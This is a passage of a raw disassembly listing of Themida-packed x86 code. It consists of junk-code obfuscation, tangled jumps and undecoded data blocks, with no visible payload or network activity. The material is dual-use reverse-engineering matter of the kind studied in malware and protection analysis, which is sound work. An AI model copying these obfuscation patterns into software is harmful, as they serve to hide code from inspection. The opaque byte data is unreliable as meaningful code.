ecx, 545B27FAh neg ecx sub ecx, 471B5B26h shr ecx, 2 add ecx, 0E6DDA0CCh add edi, ecx jmp loc_557FFA ; --------------------------------------------------------------------------- dd 182DD829h, 0E91FD14Ch, 35C4h ; --------------------------------------------------------------------------- loc_554E20: ; CODE XREF: Themida_:00559E22j pop eax not bl jmp loc_55B6A8 ; --------------------------------------------------------------------------- dd 79B8055Dh, 0F3352E03h, 0E92E44B9h, 26EBh, 4C3815Bh dd 0E9000000h, 983Ah db 8Fh byte_554E45 db 2, 0E9h, 0F9h ; DATA XREF: ___:00444BA4o ; ___:00444BACo ... dd 8F000031h, 4832404h, 56590424h, 0F946DDBEh, 2BF6812Fh dd 811E9E5Ch, 802F64C6h, 0FF3EE93Bh, 0C481FFFFh, 4, 4EC81h dd 34890000h, 348B5424h, 4C48324h, 4C681h, 0B6680000h dd 0E9000067h, 7800h, 758A68h, 242C8900h, 242C8B54h, 8104C483h dd 4C5h, 0E1895100h, 8AE8E9h, 74FF5300h, 39E90424h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554EB7: ; CODE XREF: Themida_:005595E4j add edx, 3F1B1FD8h add edx, 3EF486A4h mov ecx, edx mov edx, [esp] add esp, 4 add ecx, 0FFFFFFFFh shr ecx, 1 shl ecx, 7 add ecx, 0B367E004h add ebp, 57DD10F6h add ebp, ecx sub ebp, 57DD10F6h pop ecx sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_55EA8B ; --------------------------------------------------------------------------- dd 575EF729h, 42474FFh, 24048F5Fh, 41B6E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F0E: ; CODE XREF: Themida_:0055D769j xchg ebp, [esp] jmp loc_55E64E ; --------------------------------------------------------------------------- aFyfyfrsD db 'fYfYfRéݤ',0 db 0 ; --------------------------------------------------------------------------- loc_554F21: ; CODE XREF: Themida_:0055CE52j add esi, 1C3443B2h sub ecx, esi pop esi and eax, ecx pop ecx or eax, eax jz loc_55B0F1 push dword ptr [edi+28h] sub esp, 4 mov [esp], ebx jmp loc_559F58 ; --------------------------------------------------------------------------- aSsm db 'SéŒ"',0 align 4 dd 0E958C101h, 6CEEh ; --------------------------------------------------------------------------- loc_554F54: ; CODE XREF: Themida_:00556602j push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_560C45 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 3 dd 0E9C1D1F7h, 0BC08E908h, 15F0000h, 34875BDEh, 9665C24h dd 0E99C2404h, 0FFFFF94Ah ; --------------------------------------------------------------------------- loc_554F84: ; CODE XREF: Themida_:0055B440j xchg eax, [esp] mov esp, [esp] push dword ptr [esp] mov edx, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 push edx jmp loc_55D8EE ; --------------------------------------------------------------------------- db 5Ch, 83h, 0ECh dd 24148904h, 2BAh, 5AD10100h, 0B89CE9h, 0D1F38000h, 881DC380h dd 0B3535BDEh, 25FCE9BFh, 0E0890000h, 4BB53h, 0FE680000h dd 89000064h, 3CBF243Ch, 817A777Ch, 561B92EFh, 20C78177h dd 0F7005904h, 44F5E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554FF2: ; CODE XREF: Themida_:00559789j xor edx, 46D8F335h jmp loc_557F46 ; --------------------------------------------------------------------------- aYhJ db 'Yh{J',0 dw 8900h dd 0D3B1240Ch, 27B25250h, 68E9CBB0h, 5000046h, 1932254Eh dd 12E95Fh, 0C6810000h, 4, 5C243487h, 0E9240487h, 0B02Fh dd 3302C083h, 4312404h, 24043324h, 6624248Bh, 9C2424D3h dd 0FFFD5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_555049: ; CODE XREF: Themida_:0055D170j mov [esp], edi mov edi, 0E2176541h jmp loc_5586A0 ; --------------------------------------------------------------------------- loc_555056: ; CODE XREF: Themida_:0055F612j sub ebp, 71C44992h pop eax add ebp, eax push ecx mov ecx, 79343764h neg ecx and ecx, 14DD3B75h or ecx, offset byte_5B15DB inc ecx sub ecx, 3C135CACh sub ecx, 49CF7E02h add ebp, ecx pop ecx mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] shr ecx, 0Bh push ebx xor dword ptr [esp], 41101A00h push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_55C4E4 ; --------------------------------------------------------------------------- loc_5550B2: ; CODE XREF: Themida_:00556DE3j mov edi, [esp] add esp, 4 push edx mov edx, esp jmp loc_55ED89 ; --------------------------------------------------------------------------- dd 36FCE781h, 0F7816AE7h, 17BC937Bh, 895FF931h, 160559CDh dd 2D58ED01h, 4A6638F2h, 0F205E829h, 0E94A6638h, 22Fh dd 82F7814Fh, 527881FDh, 813D5EBAh, 5AD3011Dh, 0EB81FB01h dd 1D813D5Eh, 5BD8015Fh, 0F314D905h, 2DD82927h, 27F314D9h dd 3B52E957h, 0C7810000h, 7BDE0CB7h, 7682EF81h, 0FB29211Eh dd 81243C8Bh, 4C4h, 81C32900h, 7F18B5C3h, 24048B5Eh, 8D51E9h db 0 ; --------------------------------------------------------------------------- loc_55513D: ; CODE XREF: Themida_:0055A2F6j push dword ptr [esp] mov edi, [esp] add esp, 4 push edx mov edx, esp jmp loc_556D64 ; --------------------------------------------------------------------------- loc_55514E: ; CODE XREF: Themida_:0055A678j push dword ptr [esp] jmp loc_5600F4 ; --------------------------------------------------------------------------- loc_555156: ; CODE XREF: Themida_:00557578j not esi jmp loc_55BA15 ; --------------------------------------------------------------------------- db 5, 6, 59h dd 50E93A2Ch, 87000018h, 0E95C243Ch, 3FDDh, 0DC42F568h dd 0F6815E1Bh, 1BDC42F7h, 815EF789h, 0A61E9DC3h, 0E9FB292Ch dd 367Dh, 0C64E5B68h, 0EB815B33h, 0C75EE51Fh, 89DF8957h dd 15B5FF9h, 15D59C8h, 3ADB05D8h, 0A7687D8Dh, 0E9000026h dd 8639h, 0D1F7D9F7h, 798DE9h, 2434FF00h, 4C4835Ah, 68565053h dd 4781750h, 3C41E9h, 0FE00B000h, 0E91204C0h, 990h, 0C181E189h dd 4, 8704C183h, 248B240Ch, 4C48124h, 0E9000000h, 801h dd 24448166h, 667CE004h, 4244C29h, 38DCE9h, 48F5D00h, 9B12E924h dd 0CFF0000h, 0B3E99C24h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55521B: ; CODE XREF: Themida_:005605CBj xor edx, 0BF06C6B8h add ecx, 465A605Eh add ecx, edx sub ecx, 465A605Eh jmp loc_55921F ; --------------------------------------------------------------------------- dd 0F381DBF7h, 1935420Ah, 3EBEB81h, 8956454Eh, 62E9E9DEh dd 34FF0000h, 0C4815B24h, 4, 0E92DE980h, 1339h, 0E9E78957h dd 0A98Ah, 4C481h, 0E8300000h, 56C33059h, 1881BF57h, 0EF812B20h dd 0CCE79E9Ch, 9B7CE950h, 502C0000h, 24148B66h, 2C481h dd 13680000h, 89000048h, 0ABB5240Ch, 5304E5C0h, 536621B7h dd 1245CF6h, 0B4505B66h, 58E70011h, 9DC2E9h, 24248B00h dd 5FF9E9h, 24248B00h, 0FFF60DE9h, 63C381FFh, 6676641Ah dd 5224148Bh, 24148B54h, 0E904C483h, 47F6h, 8959CB29h dd 42C8E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5552E2: ; CODE XREF: Themida_:0055E0D6j push esi mov esi, 0 sub esi, ecx xor ecx, esi xor esi, ecx xor ecx, esi pop esi xor ecx, 35970F5Ah xor ecx, 5A064A2Ch xor ebp, ecx pop ecx xor ebp, 32BF448Dh shr ebp, 2 add ebp, 78BA1F29h add ebx, ebp pop ebp jmp loc_55C2B9 ; --------------------------------------------------------------------------- aVsw db 'Véw',0Bh,0 db 0 ; --------------------------------------------------------------------------- loc_55531D: ; CODE XREF: Themida_:0055D858j push 2E14h mov [esp], edi jmp loc_55E5BA ; --------------------------------------------------------------------------- dw 74FFh dd 0E6E90424h, 3Eh, 516658C3h, 0CB3091B1h, 68E4E9h, 148B5800h db 24h aVsL db 'VéÚl',0 ; DATA XREF: ___:00444D6Co dw 3100h dd 77095AD6h, 24348B1Ch, 0E904C483h, 0FFFFF572h, 241AE952h dd 0BB530000h, 4, 91E9DF01h, 810000AEh, 0E06578EFh, 5FFE0162h dd 6DE68h, 240C8900h, 7A4AE950h, 0F0010000h, 534BE9h, 4C28100h dd 83000000h, 0A5E904C2h, 0FF00002Bh, 34FF2434h, 1BE95924h dd 80000037h, 0F780FFC7h, 23C68045h, 0EE80FE28h, 27E95B23h dd 8B000010h, 0C4832404h, 5AD32904h, 0B60F66h, 0DD768h dd 242C8900h, 0EC81E589h, 4, 22BBE9h, 48B6600h, 4EC8124h dd 0E9000000h, 0B00h, 2916E95Fh, 0F74E0000h, 5BE768D6h dd 7AE90000h, 8900005Eh, 0D9B42404h, 881AF480h, 3E6AE9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55540E: ; CODE XREF: Themida_:0055A624j mov [esp], ebx mov ebx, esp push ecx mov ecx, 47760ADAh or ecx, 50B97573h add ecx, 500663E0h add ecx, 57FA1C29h add ebx, ecx pop ecx push edx mov edx, 4 add ebx, edx mov edx, [esp] push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax jmp loc_55EF0B ; --------------------------------------------------------------------------- loc_555449: ; CODE XREF: Themida_:0055D37Fj sub edx, 3D1F0Dh sub ebx, edx pop edx xchg ebx, [esp] pop esp mov [esp], eax push 3261h mov [esp], ebx pop eax push dword ptr [esp] pop ebx add esp, 4 push 32F5h mov [esp], ebx not dword ptr [esp] mov ebx, [esp] add esp, 4 xor eax, ebx xor ebx, eax xor eax, ebx jmp loc_555FE4 ; --------------------------------------------------------------------------- loc_555488: ; CODE XREF: Themida_:0055FBBEj mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop ebp jmp loc_556F7B ; --------------------------------------------------------------------------- dd 6624248Bh, 9C2404D3h, 0FFF425E9h, 0D30166FFh, 0EEC38166h dd 665A667Dh, 8166C301h, 567EF8EBh, 64BEBE66h, 291868h dd 240C8900h, 5940B966h, 6CBEE9h db 0 ; --------------------------------------------------------------------------- loc_5554D1: ; CODE XREF: Themida_:00555BC0j pop eax push eax push esp mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop edx push esi push edx push 6C3F1FF3h mov edx, [esp] push edi push esp pop edi push edx jmp loc_55E79F ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 4BA5224h, 1000000h, 0E9042454h, 267Dh dd 6055A4BAh, 59CA3163h, 4245401h, 1C8EE9h db 0 ; --------------------------------------------------------------------------- loc_555525: ; CODE XREF: Themida_:005601EFj pop esi mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_559284 ; --------------------------------------------------------------------------- dw 3489h dd 74C7BE24h, 8DE90E28h db 0A1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555547: ; CODE XREF: Themida_:0055B0CCj mov edx, ecx pop ecx add edi, 5CE21FB6h sub edi, edx sub edi, 5CE21FB6h pop edx mov ebx, edi mov edi, [esp] add esp, 4 and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or edx, eax shl edx, 1 sub esp, 4 mov [esp], edx mov edx, 0BF66295h push eax mov eax, 0FFFFFFFFh add edx, 35543DD6h add edx, eax sub edx, 35543DD6h pop eax jmp loc_55E1A4 ; --------------------------------------------------------------------------- dw 0F488h aIxxsct db 'ˆåXéæ’',0 align 10h dd 0C781E789h, 4, 8704EF83h, 248B243Ch, 243C8924h, 0A857E9h dd 72C18100h, 8B15177Dh, 8951241Ch, 4C181E1h, 83000000h dd 0EEE904C1h, 590000A4h, 0A7BDE9h, 4C48100h, 81000000h dd 4EBh, 517EE900h, 0E2810000h, 57FA2E98h, 9F72E9h, 0E95A6600h dd 8583h, 1E25BF57h, 0D368048Bh, 0E900004Fh, 0B096h ; --------------------------------------------------------------------------- loc_55560C: ; CODE XREF: Themida_:0055F9B9j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_558720 ; --------------------------------------------------------------------------- loc_555623: ; CODE XREF: Themida_:0055D58Ej sub esp, 4 jmp loc_55CECD ; --------------------------------------------------------------------------- db 50h dd 0F29CE99Ch, 0BA52FFFFh, 77B41371h, 288FB850h, 0C2213614h dd 2CC28158h, 0E917CB0Fh, 7790h ; --------------------------------------------------------------------------- loc_55564C: ; CODE XREF: Themida_:0055E89Cj shl ecx, 7 xor ecx, 0FFFEFB84h add ebp, ecx jmp loc_560804 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 4BE56h, 0F2290000h, 0F2D9E95Eh, 0EF81FFFFh dd 6D6677EDh, 8FC4E9h, 24248900h, 19DEE9h, 0E7814F00h dd 2A7D3217h, 1A12E94Fh, 0E95A0000h, 0B2FEh, 0C681E689h dd 4, 8704EE83h, 72E92434h, 88000003h, 8BE588D4h, 0C4832404h dd 5BB9E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5556BA: ; CODE XREF: Themida_:0055BA9Bj add ebp, 4 jmp loc_5593F7 ; --------------------------------------------------------------------------- loc_5556C5: ; CODE XREF: Themida_:00558690j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp loc_5556CE: ; CODE XREF: Themida_:00556218j ; Themida_:0055D680j mov ebx, [esp] push 60B4h mov [esp], esi mov esi, esp push edx mov edx, 581C23C6h add edx, 0A7E3DC3Eh jmp loc_55811D ; --------------------------------------------------------------------------- dd 4C2815Ah, 81000000h, 4EAh, 24148700h, 8924248Bh, 0C2892414h dd 34FF5B52h, 0E9535A24h, 3B36h ; --------------------------------------------------------------------------- loc_555710: ; CODE XREF: Themida_:0055B64Cj pop esp push 7436h mov [esp], eax push esi push ebp jmp loc_557D65 ; --------------------------------------------------------------------------- dd 240C335Bh, 33240C31h, 248B240Ch, 2434FF24h, 6232E9h dd 0B60F6600h, 9C5166C8h, 246CE9h db 0 ; --------------------------------------------------------------------------- loc_555741: ; CODE XREF: Themida_:005609DBj push eax xchg ebp, [esp] push 8Ah mov [esp], ebp xor [esp], ebx xor ebx, [esp] xor [esp], ebx not ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx pop ebp sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_555FBB ; --------------------------------------------------------------------------- loc_555774: ; CODE XREF: Themida_:0055A8CFj sub ebx, 0D2EF15B1h sub eax, ebx pop ebx add ebx, eax pop eax add ebx, edi sub ebx, 454C24B7h jmp loc_556CCE ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 0C1h dd 9C0D07E8h, 0C10D940Ch, 2F6803E0h, 89000045h, 0F2BB241Ch dd 0E96FF7F4h, 7168h, 5C243C87h, 5C24048Fh, 52240C8Bh dd 0E904EC83h, 0FFFFFEBDh, 24786858h, 0C890000h, 81E18924h dd 4C1h, 4C18300h, 5C240C87h, 34FF5450h db 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55B42E ; --------------------------------------------------------------------------- dd 47F3E952h, 48B0000h, 4C48324h, 7147E9h, 0F0CCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555802: ; CODE XREF: Themida_:005576C0j neg ecx dec ecx shl ecx, 8 or ecx, 6CA1486Bh add ecx, 0FC42C0C5h sub eax, ecx mov ecx, [esp] add esp, 4 jmp loc_5565F3 ; --------------------------------------------------------------------------- db 59h, 81h, 0C1h dd 4, 12BA6850h, 2C890000h, 6DD2BD24h, 5AE938E1h, 5E00002Eh dd 2474FF53h, 48F5B04h, 29E95C24h, 0BE00009Bh, 9EDF2510h dd 0FFF33BE9h, 4EC81FFh, 89000000h, 16E92424h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_555863: ; CODE XREF: Themida_:0055ACB6j add eax, 0FECF3B12h mov ecx, eax pop eax sub ecx, 4A556A15h sub esi, 4FF90EC1h sub esi, 27D4801h jmp loc_55B6D0 ; --------------------------------------------------------------------------- dw 8B66h dd 83512404h, 248904ECh, 24048324h, 0C1815904h, 4, 8081E9h db 0 ; --------------------------------------------------------------------------- loc_55589D: ; CODE XREF: Themida_:00555C39j xchg eax, ebp push esi jmp loc_55B936 ; --------------------------------------------------------------------------- dd 4C481h, 0B9510000h, 790D5878h, 477BF181h, 0C8291EE6h dd 53C80159h, 0EB1F03BBh, 5BD80167h, 47A82D59h, 0BC2D6BD1h dd 2D7FEE26h, 3A2C5906h, 82E9D829h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5558DB: ; CODE XREF: Themida_:0055A07Dj mov [esp], edi pop ebp pop edi xor ebp, 2A6234C8h and eax, ebp push dword ptr [esp] jmp loc_55830A ; --------------------------------------------------------------------------- loc_5558F0: ; CODE XREF: Themida_:0055CFB8j sub esi, 60070082h mov edx, esi pop esi jmp loc_55699A ; --------------------------------------------------------------------------- aBWfpsz db 'ÊÄwFpé‡`',0 db 0 ; --------------------------------------------------------------------------- loc_555909: ; CODE XREF: Themida_:00560C4Bj xor esi, [esp] pop esp sub esp, 4 jmp loc_55A2E8 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSru db '$éu',0 align 2 dw 0D301h aZscn db 'Zé—n',0 align 2 dw 0ECB8h dd 101F020h, 0E95F58C3h, 26EDh, 0C181E189h, 4, 41A3E952h dd 81590000h, 4C4h, 4B85000h, 1000000h, 24048BC7h, 39B2E9h dd 0E1895100h, 4C181h, 0C1810000h, 4, 0E9240C87h, 630Ch ; --------------------------------------------------------------------------- loc_555970: ; CODE XREF: Themida_:00559225j mov [esp], ebx push esi mov esi, 4504200h shr esi, 8 and esi, 2BB21140h shl esi, 3 push ecx mov ecx, 3B991D47h sub ecx, 58F965B3h and ecx, 28391CA3h xor ecx, 2019957Ch sub esi, ecx pop ecx mov ebx, esi pop esi add ecx, ebx jmp loc_55E3DB ; --------------------------------------------------------------------------- dw 0C33h aStsx db '$\STéx"',0 dd 0EF814700h, 4D6C0A6Fh, 0D153C781h, 0F929167Fh, 52F1015Fh dd 693A3CBAh, 5AD10100h, 240C875Eh, 772BE95Ch, 4C010000h dd 59590424h, 4BB53h, 0E9810000h, 496323D8h, 0BF57D901h dd 496323D8h, 0DC1E9h, 0EC835200h, 0A4E95404h, 1000034h dd 0C6835AD6h, 24348702h, 6624248Bh, 68240C8Bh, 3B3Dh dd 972DE9h, 24895C00h, 82685124h, 8B0E866Ch, 48E9240Ch dd 660000A5h, 8124048Bh, 4ECh, 242C8900h, 68575D54h, 46F27F54h dd 2E7C15Fh, 84E9D7F7h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A4F: ; CODE XREF: Themida_:0055A55Ej add dword ptr [esp+4], 731B088Fh push eax mov eax, 71154FAAh sub [esp+8], eax pop eax sub [esp+4], edx add dword ptr [esp+4], 71154FAAh push edx mov edx, 731B088Fh jmp loc_558235 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aWt_szt db '$WT_éZT',0 dd 2434FF00h, 0FF2434FFh, 48B2434h, 4C48324h, 0E904C483h dd 155Dh, 5BE9524Dh db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555AA3: ; CODE XREF: Themida_:0055EC4Cj mov edi, esp add edi, 4 push esi mov esi, 4 add edi, esi pop esi xchg edi, [esp] pop esp xor edx, edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi mov esi, ebx jmp loc_556BA8 ; --------------------------------------------------------------------------- dd 83241C8Bh db 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 53DDh jmp loc_55BC6A ; --------------------------------------------------------------------------- db 81h dd 40220F3h, 0E9D80140h, 2E13h, 24048B66h, 7B8068h, 241C8900h dd 8904EC83h, 0EC812424h, 4, 0E9243489h, 5615h, 64AFC681h dd 515A77E1h, 468h, 0AF73E900h, 0CD800000h, 0DCB75316h dd 0EF80DFF6h, 0C2EF800Fh, 0EF80CFFEh, 1C78078h, 885BFD30h dd 2434FFEFh, 0E2895259h, 4C281h, 0C2810000h, 4, 0E9241487h dd 830h, 0F658C508h, 6EDC0DDh, 919BE9h, 0E9D7F700h, 0A327h dd 5C836866h, 24048966h, 0FFED41E9h, 0EC81ACFFh, 4, 68241C89h dd 6254h, 0FFF85EE9h db 0FFh ; --------------------------------------------------------------------------- loc_555BA1: ; CODE XREF: Themida_:0055BC8Fj push 6239h mov [esp], eax mov eax, 10000h jmp loc_555CA0 ; --------------------------------------------------------------------------- db 0BFh dd 7B052542h, 86F8E9h db 0 ; --------------------------------------------------------------------------- loc_555BBD: ; CODE XREF: Themida_:0055E658j push dword ptr [esp] jmp loc_5554D1 ; --------------------------------------------------------------------------- loc_555BC5: ; CODE XREF: Themida_:00555CADj mov esi, [esp] add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_5587D4 ; --------------------------------------------------------------------------- db 0BAh, 2Ah, 3Dh dd 7E95826h, 89FFFFFAh, 0B8BE2434h, 9213513h, 0E9435EF3h dd 8458h ; --------------------------------------------------------------------------- loc_555BF4: ; CODE XREF: Themida_:0055AFC1j push edi push 75B33F17h pop edi jmp loc_55CA51 ; --------------------------------------------------------------------------- loc_555C00: ; CODE XREF: Themida_:00557D74j mov ebp, [esp] jmp loc_55D78B ; --------------------------------------------------------------------------- loc_555C08: ; CODE XREF: Themida_:00559C49j mov [esp], ecx jmp loc_55FA1A ; --------------------------------------------------------------------------- loc_555C10: ; CODE XREF: Themida_:0055CDF5j mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edi jmp loc_555C5F ; --------------------------------------------------------------------------- loc_555C32: ; CODE XREF: Themida_:0055CC1Dj neg ebp neg ebp xchg eax, ebp not eax jmp loc_55589D ; --------------------------------------------------------------------------- dw 0C681h dd 2F0A1398h, 0EE81FE01h, 2F0A1398h, 2370E9h db 0 ; --------------------------------------------------------------------------- loc_555C51: ; CODE XREF: Themida_:0055EF0Cj add ebx, 4 xchg ebx, [esp] jmp loc_55D62E ; --------------------------------------------------------------------------- loc_555C5F: ; CODE XREF: Themida_:00555C2Dj mov edi, 5B8A3D57h jmp loc_55BE11 ; --------------------------------------------------------------------------- loc_555C69: ; CODE XREF: Themida_:00556A8Bj push dword ptr [esp] pop eax push eax mov eax, esp jmp loc_557964 ; --------------------------------------------------------------------------- loc_555C75: ; CODE XREF: Themida_:00557321j add edx, ecx pop ecx add edx, 4 jmp loc_55994D ; --------------------------------------------------------------------------- db 5 a11Sj db '{1(',9,')Ø-{1(',9,'éJ"',0 align 4 dd 5EF2015Ah, 0E902C283h, 86Dh ; --------------------------------------------------------------------------- loc_555CA0: ; CODE XREF: Themida_:00555BAEj mov esi, eax mov eax, [esp] add esp, 4 and eax, esi push dword ptr [esp] jmp loc_555BC5 ; --------------------------------------------------------------------------- loc_555CB2: ; CODE XREF: Themida_:0055ABF6j shl ecx, 6 push ebx mov ebx, 44637D1h xor ebx, 26A92C04h xor ecx, ebx pop ebx shl ecx, 4 jmp loc_556456 ; --------------------------------------------------------------------------- dd 2BDh, 48C28100h, 1717620h, 48EA81EAh, 5D717620h, 1AA1E9h dd 4EC8100h, 89000000h, 6CE9241Ch, 5D000092h, 0FFF1B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_555CF9: ; CODE XREF: Themida_:0055DDEBj mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_55B756 ; --------------------------------------------------------------------------- loc_555D0F: ; CODE XREF: Themida_:0055C9D3j push ebx push ebp jmp loc_557B2E ; --------------------------------------------------------------------------- aZSui db '‡×éUˆ',0 dd 6E7C100h, 9A1E9h, 57BF5700h, 0E9375573h, 0FFFFFC85h ; --------------------------------------------------------------------------- loc_555D30: ; CODE XREF: Themida_:00560A08j xor eax, 7E4380Eh and edx, eax pop eax shr edx, 6 push ebp mov ebp, 275A70DAh shr ebp, 1 and ebp, 46DF52EAh add ebp, 0FE73C031h sub edx, ebp jmp loc_558448 ; --------------------------------------------------------------------------- loc_555D56: ; CODE XREF: Themida_:00557A5Aj add edx, eax sub edx, 54C50D30h mov ecx, [edx] mov edx, [esp] add esp, 4 mov eax, [esp] jmp loc_5605BA ; --------------------------------------------------------------------------- loc_555D6E: ; CODE XREF: Themida_:00556995j mov [esp], edx jmp loc_55E86E ; --------------------------------------------------------------------------- dd offset dword_54BD44+724h dw 8900h dd 6DE92414h, 0C0000021h, 0CEFE06EEh, 80D2E680h, 0F68029EEh dd 66F520F4h, 8124148Bh, 2C4h, 436CE900h, 2C890000h, 2414F724h dd 476FE9h, 0E95D5400h, 4EE1h, 83D831ADh, 3C8904ECh, 4264BF24h dd 50E905CDh, 1000011h, 0EC835FFBh, 24048904h, 2B8h, 95EB8100h dd 0E93D1B6Dh, 1712h, 35E9D5F7h, 8B000038h, 89532414h dd 4C381E3h, 83000000h, 7EE904C3h, 8F000031h, 4812404h dd 424h, 52515F00h, 0E5E3CBAh, 640AE922h, 0EC810000h, 4 dd 0BE243489h, 53B874ACh, 161E9h, 0E2895200h, 4C281h, 0EA810000h dd 4, 5C241487h, 8DB9E9h, 82BF5700h, 1666874h, 2DE95FF8h dd 8F00009Ah, 2E92404h, 800000A6h, 0F8285AF7h, 240C8B5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55A6A3 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFEA56h, 521671B8h, 18EDE946h, 0E9570000h, 3FB5h dd 0EF31FD31h, 0E908E7C1h, 0FA3h, 0ED0116BEh, 0E9F02958h dd 45A1h, 240C8B66h, 348B5456h, 3470E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555EAE: ; CODE XREF: Themida_:005592A1j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55EC42 ; --------------------------------------------------------------------------- db 68h dd 6025h, 0B1240C89h, 8BC828F8h, 0C483240Ch, 58C10804h dd 0E905E9C0h, 0A81Ch, 66F1F766h, 0E94DF668h, 0A18h, 68241C89h dd 3946h, 24048F54h, 62F5E9h db 0 ; --------------------------------------------------------------------------- loc_555EFD: ; CODE XREF: Themida_:0055750Cj add ebx, 4 jmp loc_55868F ; --------------------------------------------------------------------------- loc_555F05: ; CODE XREF: Themida_:0055A92Dj mov ebp, 39F7090Fh mov eax, ebp pop ebp sub eax, 0CF89BBE6h jmp loc_55621D ; --------------------------------------------------------------------------- aIPg@lS db '‰,$G@‹,$éº(',0 dd 0EBCC8000h, 28F9C480h, 0B60F58E3h, 946866C0h, 0A504E907h dd 8A680000h, 89000049h, 2B682414h, 89000016h, 4812424h dd 424h, 0C2815A00h, 4, 5FE768h, 240C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55CAE6 ; --------------------------------------------------------------------------- aGssw db 'Gé™w',0 align 2 loc_555F6E: ; CODE XREF: Themida_:00558163j add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp and eax, ebp pop ebp jmp loc_5604A1 ; --------------------------------------------------------------------------- aPqsk db 'PQék+',0 dd 4055800h, 83000000h, 14E904C0h, 53000035h, 545AD2BBh dd 0B2EB813Ch, 29AC4C08h, 0CE895BD9h, 8453E9h db 0 ; --------------------------------------------------------------------------- loc_555FB1: ; CODE XREF: Themida_:0055601Dj add esi, ecx pop ecx not esi jmp loc_55C24B ; --------------------------------------------------------------------------- loc_555FBB: ; CODE XREF: Themida_:0055576Fj mov ebp, [esp] add esp, 4 pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 8AAh mov [esp], ebx sub esp, 4 mov [esp], edi jmp loc_55DD0A ; --------------------------------------------------------------------------- loc_555FE4: ; CODE XREF: Themida_:00555483j push 54EEh mov [esp], esi push eax push 0B604E97h pop eax inc eax push eax push edi pop eax pop edi jmp loc_55DF50 ; --------------------------------------------------------------------------- db 4Dh, 57h, 0BFh dd 566B24AFh, 815FFD31h, 8946CFE5h, 2EF58135h, 0E901AF49h dd 7E2Eh ; --------------------------------------------------------------------------- loc_556018: ; CODE XREF: Themida_:00558EE7j mov ecx, 6B483EDCh jmp loc_555FB1 ; --------------------------------------------------------------------------- loc_556022: ; CODE XREF: Themida_:00559F06j or ecx, 5FBF7324h push ecx not dword ptr [esp] pop ecx sub ecx, 885Ch push ebx mov ebx, 0AB91C6Fh add ebx, 35051C7Ah add eax, ebx pop ebx sub eax, ecx sub eax, 3FBE38E9h pop ecx jmp loc_55A634 ; --------------------------------------------------------------------------- db 81h dd 0CC386EC1h, 0C875A0Bh, 24248B24h, 9FD8E9h, 0B850AD00h dd 42A82855h, 5C3C681h, 0EE811BADh, 0AA221Bh, 65ABE9h dd 1EF18100h, 815FBE22h, 941141C1h, 13E9817Ah, 81579B9Ch dd 1124AEFh, 81CF0177h, 1124AC7h, 19685977h, 0E900006Eh dd 8A07h, 42474FFh, 3804E9h, 54F28100h, 29354051h, 24148BD7h dd 104C483h, 68525FF8h, 0CDEh, 68241C89h, 5DCA0B1Ch, 0FBB9515Bh dd 81162C22h, 4F563BF1h, 0F1814900h, 23977002h, 0C181D1F7h dd 2874255Eh, 95BFE9h, 4C48100h, 0E9000000h, 1665h, 0F5C2FEB9h dd 8BC101B2h, 0C4812404h, 4, 806BE9h, 9CC88400h, 312CE9h dd 4C48300h, 6301E9h, 241C8900h, 2C68h, 2434FF00h, 4C4835Bh dd 5552FB01h, 3F003E68h, 0E1E95D2Ch, 51000029h, 0A85AC868h dd 0E1D15908h, 32DBE9h, 58D5BE00h, 